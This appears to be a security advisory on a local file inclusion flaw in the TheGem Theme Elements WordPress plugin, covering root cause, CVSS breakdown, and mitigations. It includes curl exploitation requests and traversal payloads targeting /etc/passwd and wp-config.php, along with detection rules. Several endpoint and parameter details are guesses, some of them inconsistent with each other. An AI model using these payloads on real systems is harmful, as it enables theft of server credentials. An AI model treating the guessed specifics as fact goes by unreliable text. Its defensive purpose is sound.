CVE-2025-69356

Executive Summary

CVE-2025-69356 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the TheGem Theme Elements (for Elementor) plugin, developed by CodexThemes, for the WordPress ecosystem. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. With a CVSS score of 7.5, this vulnerability can lead to sensitive information disclosure (e.g., /etc/passwd, configuration files, database credentials) and potentially enable further server-side attacks. No public exploit code or patch is currently available, and the vendor has not released a fix.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from CodexThemes. Since no patch exists, supply chain risk is elevated; users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server data.

Deep Dive & Mechanics

The vulnerability exists in the thegem-elements-elementor plugin, specifically in PHP code that processes file paths for inclusion. The plugin fails to sanitize user-supplied input used in include() or require() statements, allowing path traversal sequences (e.g., ../../) to read arbitrary files.

Root Cause: The plugin uses a parameter (likely file, template, or similar) directly in a PHP include statement without proper validation or whitelisting. For example:

include($_GET['file'] . '.php');

An attacker can supply a path like ../../../../etc/passwd%00 to null-terminate the string and bypass the .php extension, or use directory traversal to read files outside the intended directory.

Attack Vector: HTTP GET/POST request to a vulnerable endpoint (e.g., /wp-content/plugins/thegem-elements-elementor/ajax.php?file=../../../etc/passwd).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// vulnerable.php
$file = $_GET['file'];
include($file . '.php');

Patched Code (Hypothetical):

// patched.php
$allowed_files = array('template1', 'template2');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    die('Invalid file.');
}

No official patch exists; the above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with TheGem Theme Elements <= 5.11.0.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-content/plugins/thegem-elements-elementor/includes/ajax-handler.php).
2. Send a crafted request with path traversal:

curl -v "http://target.com/wp-content/plugins/thegem-elements-elementor/includes/ajax-handler.php?file=../../../../etc/passwd"

3. If the server returns the file content, the vulnerability is confirmed.

Advanced Payloads:

• Read WordPress config: ../../../wp-config.php
• Read Apache logs: ../../../../var/log/apache2/access.log
• Null byte injection (if PHP < 5.3.4): ../../../etc/passwd%00

Blue Team (Detection & Hardening)

Detection:

• Monitor for suspicious GET/POST parameters containing ../ or %00.
• Alert on requests to plugin AJAX endpoints with unexpected file parameters.

Hardening:

• Disable the plugin immediately if not essential.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Apply virtual patching via mod_security:

SecRule ARGS "\.\./" "id:1001,deny,msg:'Path traversal detected'"

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /wp-config.php, /proc/self/environ
• URL Patterns: ?file=../../../, ?template=../../, ?include=..%2f
• Log Entries: HTTP requests with ../ in query strings to plugin directories.
• Network Traffic: Outbound connections from the web server to attacker-controlled hosts (if LFI leads to RCE via log poisoning).

Detection Engineering

YARA Rule

rule CVE_2025_69356_LFI_Detection {
    meta:
        description = "Detects path traversal attempts targeting TheGem Theme Elements plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69356"
    strings:
        $path_traversal = /\.\.\// nocase
        $plugin_path = /thegem-elements-elementor/ nocase
        $file_param = /[?&]file=/ nocase
    condition:
        $plugin_path and $file_param and $path_traversal
}

Sigma Rule

title: CVE-2025-69356 LFI Attempt on TheGem Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting the TheGem plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: 
            - 'thegem-elements-elementor'
            - 'file='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in admin functions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-69356 - TheGem LFI Attempt";
    flow:to_server,established;
    content:"thegem-elements-elementor"; http_uri;
    content:"file="; http_uri;
    content:"../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove thegem-elements-elementor until a patch is available.
2. Apply virtual patching – Use WAF rules to block path traversal patterns.
3. Monitor logs – Review web server logs for exploitation attempts.

Long-term Fix:

• Await an official patch from CodexThemes. If none is provided, consider replacing the plugin with an alternative.
• Implement input validation and whitelisting for all file inclusion parameters.

Workaround:

• Modify the plugin code manually to sanitize file paths (not recommended for non-developers).

Valters IT
Securing Digital Frontiers